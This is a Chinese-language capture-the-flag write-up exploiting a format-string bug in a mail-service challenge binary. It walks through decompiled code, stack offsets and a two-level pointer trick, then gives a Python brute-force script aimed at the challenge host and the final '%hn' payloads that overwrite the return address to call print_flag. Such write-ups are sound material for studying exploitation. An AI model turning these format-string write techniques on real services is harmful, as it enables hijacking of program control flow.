@pnck
2015-04-09T02:09:24.000000Z
字数 3149
阅读 2436
writeup
拖入IDA发现符号表没有被strip掉,很容易发现print_flag函数,且该函数没有xref,明确目标是将某返回值修改为此函数。
服务程序会在后台调用数据库接口,从数据库中读取用户名和密码信息,这两项信息是持续存储的,不会在再次连接的时候清空。
f5找漏洞,很快发现在sendMail中有两个printf存在格式化字符串漏洞:
int __cdecl sendMail(int handle, int from_name, char *to_name, char *mail_title, char *mail_body){int result; // eax@5char mail_body_1[200]; // [sp+20h] [bp-D8h]@4int sptf_ret; // [sp+E8h] [bp-10h]@4char title_len; // [sp+EEh] [bp-Ah]@1char body_len; // [sp+EFh] [bp-9h]@1puts("Send Mail");printf("From: %s\n", from_name);printf("To:");get_input((int)to_name, 30);printf("To:");printf(to_name); //<<<<<<<putchar('\n');printf("Title:");get_input((int)mail_title, 255);printf("Title:");printf(mail_title); //<<<<<<<putchar(10);printf("Body:");get_input((int)mail_body, 255);body_len = strlen(mail_body);title_len = strlen(mail_title);if ( (char)(body_len + title_len) > 120 ){puts("The body or title is to big");quit(handle);}sprintf(mail_body_1,"insert into inbox (fromuser,touser,body) values('%s','%s','Title:%sBody:%s');",from_name,to_name,mail_title,mail_body);if ( sptf_ret )result = puts("Send Mail Error");elseresult = puts("Send Mail OK");return result;}
ctrl+k查看堆栈结构,结合nc连上实际实验,可获得几项关键地址
+00000000 s db 4 dup(?)+00000004 r db 4 dup(?)+00000008 handle dd ?+0000000C from_name dd ?+00000010 to_name dd ? ; offset+00000014 mail_title dd ? ; offset+00000018 mail_body dd ? ; %68$x
触发漏洞的字符串并没放在栈上,而是放在malloc分配的堆空间中,在栈空间的下方,无法通过%*$的方式访问到,期初用栈缓冲区的构造方法尝试了好久发现SB了,那么要重新寻找构造方法。
%X$n控制符是将显示的字符数存入[X]指向的空间,想要修改返回值,必须有一个指向sendMail存放的返回值的指针,但程序中不可能自行存在,于是需要自行构造两级指针,第一级指针指向sendMail帧存放的返回值,第二级指针指向第一级指针。通过写入一级指针的内容使之指向待修改的返回值,再访问一级指针将返回值改为目标地址(print_flag)。
然后马上想到的两级指针就是ebp链,通过%62$x得到的main的ebp很容易可以将整个栈空间的地址都摸清楚,然后用%62$n使%90$x指向返回值,再用%90$n就能修改掉返回值。但稍作测试后发现由于栈空间比较高,地址动辄0xbfxxxxxx,要显示这么多字符需花费极大量时间且一般不能成功,最佳方式是用%hn只修改地址的低4位。但%90$x原值是0,只得放弃,转而寻找其它的两级指针链。
睡了一觉起来之后很快想到如下序列:
lea xxx,yyy
mov ptr[zzz],xxx
转而在sendMail和上层main中找:
.text:08049837 064 mov edx, [esp+48h].text:0804983B 064 mov [esp+10h], edx ; body esp+48.text:0804983F 064 mov edx, [esp+44h].text:08049843 064 mov [esp+0Ch], edx ; title esp+44.text:08049847 064 mov edx, [esp+40h].text:0804984B 064 mov [esp+8], edx ; to name esp+40.text:0804984F 064 lea edx, [esp+30h] ; <<<< THIS.text:08049853 064 mov [esp+4], edx ; from esp+30.text:08049857 064 mov [esp], eax ; handle.text:0804985A 064 call sendMail ; Call Procedure
[esp+4] 指向 esp+30,如果能用%n修改掉[esp+30]的值就能成功使[esp+30]指向返回值,最终劫持eip
这里esp+4对应%65$x,esp+30h对应%76$x
nc尝试,发现%76$x的内容是用户名,需要注册一个特殊的用户名,名称恰好是某个地址。然后苦逼的地方来了,checksec发现启用nx,栈地址有3个字节会随机变化,除去低4位可以稍后用%65$hn写入,还有一个字节需要暴力碰撞。由于payload十分简单,只需要填两个数字,可以手动,脚本在跑完栈地址后就简单地循环读写了。
import socketimport times = socket.socket()s.connect(('exploit.alictf.com',55664))s.send('1\nAA\x86\xbf\n\n') #先注册s.close()while True:s = socket.socket()s.connect(('exploit.alictf.com',55664))s.send('2\nAA\x86\xbf\n\n') #撞0xbf86print s.recv(4096)print s.recv(4096)s.send('3\n%62$x\n')s.recv(1024)d = s.recv(1024)print 'd--------->',dif d.find('bf86') > 0:break#time.sleep(0.3)while True:ss = raw_input("input-->")if ss != '\n':s.send(ss.strip()+'\n')try:while True:d = s.recv(4096)print dif d.find('G') >= 0: #出现flag时会有GXGX字样raw_input('GOT SOMETHING!!!')except KeyboardInterrupt:pass
然后两个利用字串为%AAAAc%65$hn,%35773c%76$hn(0x8048bbd,0x8bbd=35773)